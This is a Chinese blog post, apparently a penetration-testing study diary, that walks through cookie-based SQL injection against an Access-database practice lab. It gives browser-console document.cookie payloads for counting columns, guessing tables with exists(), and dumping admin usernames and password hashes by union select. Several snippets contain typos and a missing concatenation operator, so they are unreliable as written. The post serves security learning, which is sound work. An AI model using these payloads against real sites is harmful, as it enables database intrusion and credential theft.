渗透测试系统学习-Day11&数据库注入靶场Day1Cookie注入

2022-03-22 08:54:11 浏览数 (1)

前言:

这里又是新的一章,关于数据库注入,前面讲的是SQL注入,这里是数据库注入,这方面我也没有系统的学习过,借助这次靶场的机会,好好规整规整知识路线。

1.Access-Cookie注入

这是浅蓝色的短代码框,用于显示一些信息。

介绍Cookie,什么是Cookie?这里我总结了关于什么是Cookie和Session还有Token。

Cookie Session和Token认证

前言:HTTP是一种无状态协议,为了分辨链接是谁发起的,需要浏览器自己去解决这个问题,不然有些情况下即使是打开同一...

Cookie就是代表访问者(用户)的身份证一样,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie那么你就可以无需密码直接登录管理员账号。

为什么Cookie和注入有联系?

在动态脚本语言中存在超时全局变量可以获取多种传参方式。

很多时候开发在开发过程中为了考虑到多种接受的参数,在接受参数的时候都是多种

例如: PHP中的$_REQUEST[]可以获取POST/GET/COOKIE传参

注意: PHP5.4版本以上就不会接受Cookie参数了。

如何进行Cookie传参呢?

1.Burp抓包改包然后添加或者修改Cookie的值就可以实现Cookie传参

2.通过浏览器F12的控制台进行修改Cookie的值

document.cookie="id="escape("171")

Cookie名字为id escape是一个编码函数,这个函数会进行一次URL编码。

3.以谷歌浏览器为例子直接去Application修改Cookie的值

4.还有一些插件也可以辅助修改

这里介绍一个函数:exists

EXISTS用于子查询,子查询是否至少会返回一行数据,该子查询实际上并不返回任何的数据,而是返回True或者False。

靶场练习

简介:Access数据库,只有一个库,所以表名字段名都要爆破。如果网站是.asp,是access数据库的可能性比较大。

这样的话,就没有办法进行GET、POST传参去进行注入了。

1.测试字段数

去控制台输入:

代码语言:javascript复制
document.cookie="id=" exits("127 order by 1")

测试到11的时候发现报错,说明字段数为10。

2.爆破表名

然后由于Access只有一个库,所以直接判断表名;

代码语言:javascript复制
document.cookie="id=" exists("127 and exists(select * from xxx)")

最后确定在admin表里有数据(题目提示的,可能是为了大家一起跑包,靶场也撑不住吧哈哈哈哈)

3.爆破字段值

代码语言:javascript复制
document.cookie="id=" 
escape("171 and exists(select 1,2,3,4,5,6,7,8,9,0 from admin)")
代码语言:javascript复制
document.cookie="id=" escape("127 union select 1,username,
password,4,5,6,7,8,9,0 from admin ")

将密码进行MD5进行解密:

0 人点赞